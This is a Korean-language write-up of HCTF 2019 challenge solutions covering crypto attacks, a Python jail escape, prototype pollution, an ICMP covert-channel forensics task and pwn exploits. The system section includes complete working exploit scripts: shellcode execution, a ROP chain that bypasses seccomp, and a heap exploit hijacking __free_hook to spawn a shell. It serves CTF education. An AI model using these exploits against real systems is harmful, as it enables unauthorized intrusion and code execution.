HCTF 2019

newbie

CryptoFile

time.time()을 seed로 key와 iv를 생성하고, AES 암호화를 한다.

파일 생성시간을 추출해서 seed를 얻고, 주어진 소스의 decrypt 메소드로 복호화를 해주면 된다.

from Crypto.Cipher import AES
import random
import string
import time
import os

class CryptoFile:
    def decrypt(self, file_name: str):
        seed = 1573570747
        random.seed(seed)
        key = self.random_string(32)
        iv = self.random_string(16)

        target_file = open(file_name, 'rb')
        result = open(file_name + ".result", 'wb')
        result.write(AES.new(key, AES.MODE_CFB, iv).decrypt(target_file.read()))

    def random_string(self, length):
        strs = string.ascii_letters + string.digits
        result = ""
        for _ in range(length):
            result += random.choice(strs)
        return result

if __name__ == '__main__':
    CryptoFile().decrypt('CryptoFile-Xp.NNRyUD7RQLVh')

decrypted

NetCat

~/ctf/hctf st4nw@0x0
❯ nc prob.hctf.icewall.org 10101
HCTF{net"Cat" is so cute}

nc 연결하면 플래그를 준다.

NonPrintable

# -*- encoding:utf-8 -*-
import os,sys


msg = "Can you enter the \xde\xed\xbe\xef(\\xde\\xed\\xbe\\xef)?"
print msg
sys.stdout.flush()

print ">> ",
sys.stdout.flush()
inp = raw_input()

print "your input:",
print inp

if '\xde\xed\xbe\xef' in inp:
  with open('/flag', 'r') as f:
    print f.read() 
else:
  print "incorrect"

exit()

입력을 받고, 입력값에 ‘\xde\xed\xbe\xef’가 포함되어 있으면 플래그를 뿌려준다.

~/ctf/hctf st4nw@0x0
❯ (python -c 'print "\xde\xed\xbe\xef\n"';cat) | nc prob.hctf.icewall.org 10102
Can you enter the ߭¾�xde\xed\xbe\xef)?
>>  your input: ߭¾
HCTF{beef steak is delicious}

Python Jail

banned = ["\"", ";", " ", "'", "cat", "flag", "*", "read", "open", 'eval', '.']

이정도 필터링이 있는 pyjail이다. 이렇게 저렇게 해보다가 가장 머리 덜 아픈 방법을 썼다.

exec(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(47)+chr(98)+chr(105)+chr(110)+chr(47)+chr(115)+chr(104)+chr(39)+chr(41))
~/ctf/hctf st4nw@0x0
❯ nc prob.hctf.icewall.org 33000
DELSPON's PYTHON JAIL
You can't use ['"', ';', ' ', "'", 'cat', 'flag', '*', 'read', 'open', 'eval', '.']
>> exec(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(47)+chr(98)+chr(105)+chr(110)+chr(47)+chr(115)+chr(104)+chr(39)+chr(41))
id
uid=1000(pythonjail) gid=1000(pythonjail) groups=1000(pythonjail)
cat /home/*/flag
HCTF{getattr_is_very~~~~very~~~~nice!!}

Sanity Check

마이크 체크

HCTF{flag_looks_like_this}

Take It

/robots.txt를 살펴보면

User-agent: Googlebot
Disallow:

User-agent: Googlebot-Image
Disallow:

User-agent: Googlebot-Mobile
Disallow:

User-agent: Yeti
Disallow:

User-agent: * 
Disallow: /

User-agent: *
Disallow: /HCTF-FLAG.txt

이렇게 돼있고, /HCTF-FLAG.txt에 플래그가 있었다.

HCTF{Congratulations_10000_Points_for_First_Solver!!}

Cultureland

die

열심히 복구해서 찍으면 4180021737370713이 나온다.

HCTF{4180021737370713}

crypto

Easy Crypto

#!/usr/bin/python
from Crypto.Cipher import DES
from flag import key
from flag import flag

KEY = key.decode('hex')
IV  = "87654321"
des = DES.new(KEY, DES.MODE_OFB, IV)
flag_enc = des.encrypt(flag)

with open("flag.enc", "w") as f:
  f.write(flag_enc)

DES로 암호화를 하는데, KEY를 얻을 근거가 없다.

힌트로 DES Weak Key가 나와있어서, 여러가지 골라 잡아서 복호화해봤더니 0x1F1F1F1F0E0E0E0E가 키였다.

#!/usr/bin/python
from Crypto.Cipher import DES

key = '1F1F1F1F0E0E0E0E'
KEY = key.decode('hex')
IV  = "87654321"
des = DES.new(KEY, DES.MODE_OFB, IV)

con = open('./flag.enc', 'r').read()

flag = des.decrypt(con)

with open("result", "w") as f:
  f.write(flag)

돌리면 아래와 같이 원문이 복구 된다.

He might think I'm weird
But I can't help it, I've fallen for him
You're my heart shaker, shaker
I don't wanna miss this chance
You're my heart shaker, shaker
What do I do?

I won't just wait around like a fool

HCTF{It_is_So_Easy_Crypto_Problem_Right?}

I wanna tell you that I'm into you
That I like you
That I miss you all day
Would you be my love
Because I fell for you

Normal Crypto

같은 원문에 대한 여러가지 n 값과 그에 대한 암호문을 알기에, Håstad’s broadcast attack이 가능하다.

e = 3으로 사용했다.

import gmpy

def my_parse_number(number):
    string = "%x" % number
    erg = []
    while string != '':
        erg = erg + [chr(int(string[:2], 16))]
        string = string[2:]
    return ''.join(erg)

def e_gcd(a, b):
    x,y = 0, 1
    lastx, lasty = 1, 0
    while b:
        a, (q, b) = b, divmod(a,b)
        x, lastx = lastx-q*x, x
        y, lasty = lasty-q*y, y
    return (lastx, lasty, a)

def chinese_remainder_theorem(items):
  N = 1
  for a, n in items:
    N *= n

  result = 0
  for a, n in items:
    m = N/n
    r, s, d = e_gcd(n, m)
    if d != 1:
      raise "Input not pairwise co-prime"
    result += a*s*m

  return result % N, N

n1 = 51288326117082216488243544411546341945726200457761206644453923648745691133003298888640252920064366336153188590374906234193582318331511534150725498901204272996547758897280686510115493963949922521015212579960046142009026018249435094931175160476695080910770853450088955925931824360889598897960812196501910310971
c1 = 28664547940927727470345840711427399029606901366945466558505886421148178887598108954927053378246067525782321635926368688599601177978705377673276761471247346043054112813201264689017682322288369008503806688587531250974252044496239856005783248513792583183221373808082430000175628167523517126596009125614278899401
n2 = 29457686135991278975006812334310920356301816375997022543935792333970703696552526067677471770683579031803067927853925309291329810629595674400216862296288264098946332200460602662886636986347872294111648892796874085016119364078711660172342567556983822990434691459944961479240777022275803977723283229813386301943
c2 = 17077337519494000172836363832449617495753905384402839209756596335776673357613519709505681025778010115408943551044640911776511058812367697112179693767591405425645379539292855458605246761273813881282099739714024726610417325149805228045155772866483083186845303214010795924962676589099791252639040456901677120150
n3 = 72570233407274155209010922487345535784018612312055202392917019376429008866027961487578709415248191493186061903205333749093176280354945073304299285338734712471052411177028661616522150737451099384372788193639240627293146026956125655121241407595730843161959206866826957178300347986554615242213197995238377803371
c3 = 31438313874268746538209435813008423411657145512975475419766196892386179436013493127502413961298066715514288544164984428909735361469851593467279236104771200982976742894944365211194682572655588971675048664511251481051012641459370727389264675511908790088593553823687386299715190450157524259663191587745887609953

e=3
n = [n1, n2, n3]
c = [c1, c2, c3]

data=[]
for i in range(len(c)):
	data += [(c[i],n[i])]

x, n = chinese_remainder_theorem(data)
realnum = gmpy.mpz(x).root(e)[0].digits()

print my_parse_number(int(realnum))

HCTF{RSA_and_CRT_are_Very_VerY_vErY_EEEEEEasy_Hey_Fancy_You!}

Hard Crypto

Rabin cryptosystem이다. yafu를 이용해 n으로 p와 q를 구해주고 복호화 했다.

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    g, y, x = egcd(b % a, a)
    return (g, x - (b//a) * y, y)

def inv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('No modular inverse')
    return x%m

def crt(a, m):
    n = len(m)
    ret = a[0]
    mod = m[0]
    for i in range(1, n):
        m1 = mod
        mod *= m[i]
        m2inv = inv(m[i], m1)
        m1inv = inv(m1, m[i])
        ret = (ret * m[i] * m2inv + a[i] * m1 * m1inv) % mod
    return ret

enc = 73542412655098595288523283051922726948987836481512888688568370390089349895674742919054617819207531547203412993390163795469943072671517862652306841750777311090535745024110632538861884544050117040995590340090004011600842361133477565295421449374080806791669255711773865469446783482295684422403941521840992615081
n = 125113791375781590742588776384677849561763911403969678239226246595208477077387851718287113847876756637358464629111609713250406518161996535302555017864010967277368946077999313697436340679738805691707848811752315811099645670395554902117468738736773802070224145546690124014135268318947603905589466494462919823377

p = 11185427634908805342585386987716043675861931544597981665572017084112398976142984132029212703089682562170738230827804277615939302257785019250196337631074383
q = 11185427634908805342585386987716043675861931544597981665572017084112398976142984132029212703089682562170738230827804277615939302257785019250196337631074719

cp = enc % p
cq = enc % q

mp = pow(cp, (p + 1) / 4, p)
mq = q - pow(cq, (q + 1) / 4, q)

print ('%x' % crt([mp, mq], [p, q])).decode("hex")

HCTF{Rabin_Crypto_Algorithm_is_So_Beautiful_And_This_Problem_Requires_A_Really_Long_Flag_Length}

web

Baby Web

간단한 node.js 서버를 짜놨다.

app.get('/secret',function(req,res){
	var username = req.session.username;
	if(username!=null && credentials.user==username){
		res.send("HCTF{this_is_not_flag}");
	}else{
		res.send("Permission denied.");
	}
})

로그인할 때 login에서 sess.username = req.body.user;를 해주기에 username!=null은 통과되었고 credentials.user==username를 충족시켜야 한다.

$('#gwrite').unbind().click(function(){
	var data = {
		"month":'__proto__',
		"day":'user',
		"contents":$("#contents").val(),
	}
	$.ajax({
	    url: '/write',
	    contentType: 'application/json',
	    method: 'POST',
	    data: JSON.stringify(data),
	    success:function(q){
	    	if(q.result == true){
	    		alert('write success');
	    		location.href="/";
	    	}else{
	    		alert('write fail');
	    	}
	    }
	});
})

와 같이 함수를 때려주고 아무 글이나 작성하면 prototype pollution attack이 가능하여 조건이 만족된다.

HCTF{Rolly_Polly_Rolly_Rolly_Polly}

forensic

Normal Forensic

pcapng을 주는데, 분석하다 보면 여러가지 쓸만한 것을 찾을 수 있다.

The password is ITISNOTFLAG

Order file will transfer through secret channel...

Good Luck...

이런 내용을 ruu.kr이라는 일회용 메일 서비스로 주고 받은 것을 알 수 있고, secret channel이 뭘까하고 생각해보다가 icmp 패킷들을 찾아볼 수 있었다.

icmp 패킷들만 슥 긁어서 데이터들을 붙여주면 hex encoding된 base64 암호문을 얻을 수 있다.

~/ctf/hctf st4nw@0x0
❯ tshark -r packet.pcapng -T fields -e data 'icmp and ip.src==192.168.3.128' 

5246564e54566c4754314a47535578465130394e5455464f52446436764b386e
48414145737a3641704141594141414141414141596741414141414141414458
745044586150314e69726f776e386a577175343837714b477332382f5a4f2f44
726f3448702b58762f47445a774466562f424e2f4c6c45322f51315a6b4c3948
48306578694b62767a6d62303878315330387261782f44696c4a374c2f6a6d76
665432484f4b4e72433931364b706f79306f326455796b63376941646141705a
.
.

base64 디코딩을 해주고, 앞에 dummy 값을 떼주면 7z 파일이 되는데 아까 찾았던 ITISNOTFLAG를 비밀번호로 넣어주면 된다.

압축까지 풀면 flag라는 왠 elf 하나가 끝인데, 실행시켜주면 플래그가 나온다.

HCTF{Now_You_Know_ICMP_Covert_Channel}

system

Baby Shellcode

64bit amd64 ELF로, 모든 범용 레지스터를 xor로 초기화하고 입력받은 쉘코드를 실행시켜 준다.

rsp가 0x0이라 push/pop을 못하는데, 정석대로 세그멘트 레지스터를 끌어쓰려다가 그냥 스택으로 쓰일 공간을 새로 mmap 했다.

그 다음은 그냥 execve(“/bin/sh”, 0, 0) 해주면 된다.

from pwn import *

#p = process('./baby')
p = remote('prob.hctf.icewall.org', 32001)

context.arch = 'amd64'

sc = '''
mov rdi, 0
mov rsi, 0x1000
mov rdx, 7
mov r10, 34
mov r8, 0xffffffff
mov r9, 0
mov rax, 9
syscall

mov rsp, rax
add rsp, 0x500

mov rdi, 0
mov rsi, rsp
mov rdx, 0x8
mov rax, 0
syscall

mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
'''

p.send(asm(sc))
sleep(0.5)
p.send('/bin/sh')

p.interactive()
~/ctf/hctf/sc st4nw@0x0
❯ python exp.py 
[+] Opening connection to prob.hctf.icewall.org on port 32001: Done
[*] Switching to interactive mode
$ id
uid=1000(babyshellcode) gid=1000(babyshellcode) groups=1000(babyshellcode)
$ cat /home/*/flag
HCTF{Simple_Shellcode_Problem_Is_So_CUTE!!!}

Normal System

0 : size 조정
1 : 전역변수에 입력
2 : 스택을 size만큼 출력
3 : 스택에 입력받고 리턴

이 정도 메뉴를 실행 시켜주는데, size 제한이 없어서 2번 메뉴로 libc/pie/canary 릭을 다 딸 수 있다.

3번 메뉴로 쉽게 BOF가 가능하지만 리턴하기 전에 전역변수 ctx로 seccomp 필터를 건다.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x06 0x00 0x00 0x00000000  return KILL

seccomp-tools로 덤프를 떠보면 close, read, write, exit만을 허용하는데, open/openat이 막혀있어 orw를 못한다.

그래서 전역변수에 입력을 받을 때, 아래의 ctx의 close 부분을 open/openat으로 조작해주면 close 대신 open/openat이 허용되므로 orw가 가능해진다.

open 호출하면 레컨 optimization인지 openat 쓰길래 openat으로 고쳐줬다.

from pwn import *

#p = process('./rop')
p = remote('prob.hctf.icewall.org', 32002)
e = ELF('./rop', checksec=True)
l = e.libc

#context.log_level = 'debug'

sleep(0.5)
p.sendline('0')
sleep(0.5)
p.send(str(0xdeadbeef))

sleep(0.5)
p.sendline('2')
p.recvuntil('Invalid')
p.sendline('2')

p.recv()
#p.recv(0x110)
p.recv(0x108)
canary = u64(p.recv(8))
print hex(canary)

libc = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') - 0x21b97
p.recv()
print hex(libc)

prdi = libc + 0x0002155f
prsi = libc + 0x00023e6a
prdx = libc + 0x001306b6

sleep(0.5)
p.sendline('1')

pay = '\x00'*0x40
pay += p64(0x0000000400000020)+p64(0xc000003e00010015)
pay += p64(0x0000000000000006)+p64(0x0000000000000020)
pay += p64(0x0000000301000015)+p64(0x7fff000000000006)
pay += p64(0x0000000001000015)+p64(0x7fff000000000006)
pay += p64(0x0000000101000015)+p64(0x7fff000000000006)
pay += p64(0x0000010101000015)+p64(0x7fff000000000006) # openat
pay += p64(0x0000000000000006)+p64(0x0000000000000000)
sleep(0.5)
p.send(pay)
sleep(0.5)
p.sendline('3')

bss = libc+l.sym['__malloc_hook']+0x30

rop = 'a'*0x108+p64(canary)+'a'*0x8
rop += p64(prdi)+p64(0)
rop += p64(prsi)+p64(bss)
rop += p64(prdx)+p64(0x80)
rop += p64(libc+l.sym['read'])

rop += p64(prdi)+p64(bss)
rop += p64(prsi)+p64(0)
rop += p64(libc+l.sym['open'])

rop += p64(prdi)+p64(3)
rop += p64(prsi)+p64(bss+0x30)
rop += p64(prdx)+p64(0x80)
rop += p64(libc+l.sym['read'])

rop += p64(prdi)+p64(1)
rop += p64(prsi)+p64(bss+0x30)
rop += p64(prdx)+p64(0x80)
rop += p64(libc+l.sym['write'])

sleep(0.5)
p.send(rop)
sleep(0.5)
p.send('/home/rop/flag.txt\x00')

p.interactive()
[+] Opening connection to prob.hctf.icewall.org on port 32002: Done
0x14c64f472ea2ea00
0x7fe6196fe000
[*] Switching to interactive mode
HCTF{Seccomp_is_Secure_computing_Mode_:)}

SimpleNOTE

struct note{
  char title[0x18];
  char *content
};

위의 구조체로 note, content 모두 calloc(0x20)을 해주는데, edit에서 heap overflow로 content가 다음 note의 bk까지 덮는 것이 가능하다.

이것으로 size를 건드려 unsorted bin을 만들어주면서, unsorted bin의 mmap flag bit를 세팅해줘 calloc때 zeroing out을 막는다.

위의 방법으로 libc leak 및 heap leak을 모두 딸 수 있고, 청크를 오버랩시켜 content를 __free_hook으로 돌려주면 쉘 취득이 가능하다.

from pwn import *

def add():
	p.sendlineafter('>', '1')

def edit(idx, title, content):
	p.sendlineafter('>', '2')
	p.sendlineafter('>', str(idx))
	p.sendafter('>', title)
	p.sendafter('>', content)

def delete(idx):
	p.sendlineafter('>', '3')
	p.sendlineafter('>', str(idx))

def show(idx):
	p.sendlineafter('>', '4')
	p.sendlineafter('>', str(idx))

#p = process('./simplenote')
p = remote('prob.hctf.icewall.org', 33010)
e = ELF('./simplenote')
l = e.libc

p.recvuntil('>')
passwd = p64(0x6e69622fbb48f631)
passwd += p64(0x5f54535668732f2f)
passwd += p64(0x00050fd231583b6a)[:-1]
p.send(passwd)

add() # 1
add() # 2
add() # 3
add() # 4
edit(1, '1'*0xf, 'a'*0x28+p64(0x91))
delete(2)
delete(3)
edit(1, '2'*0xf, 'a'*0x28+p64(0x32)) # mmap flag

add()
add()
show(4)
libc = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') - l.sym['__malloc_hook']-0x10-88
print hex(libc)

p.recv(18)
heap = u64(p.recv(6)+'\x00\x00')-0xa0
print hex(heap)

edit(1, p64(0x31), 'x'*8)

delete(3)
edit(2, '3'*0xf, 'm'*0x28+p64(0x31)+p64(heap+0x10))
add()
edit(4, '4'*0xf, p64(libc+l.sym['__free_hook'])*3+p64(0x31))
edit(1, 'a', p64(libc+l.sym['system']))
edit(2, 'a', '/bin/sh\x00')
delete(2)

p.interactive()
~/ctf/hctf/note st4nw@0x0
❯ python exp.py 
[+] Opening connection to prob.hctf.icewall.org on port 33010: Done
[*] '/home/st4nw/ctf/hctf/note/simplenote'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
0x7f6925024000
0x5575b42a6000
[*] Switching to interactive mode
 $ id
uid=1000(simplenote) gid=1000(simplenote) groups=1000(simplenote)
$ cat /home/*/flag
HCTF{0h!_U'r_90od_5ysPWn4b13eR!}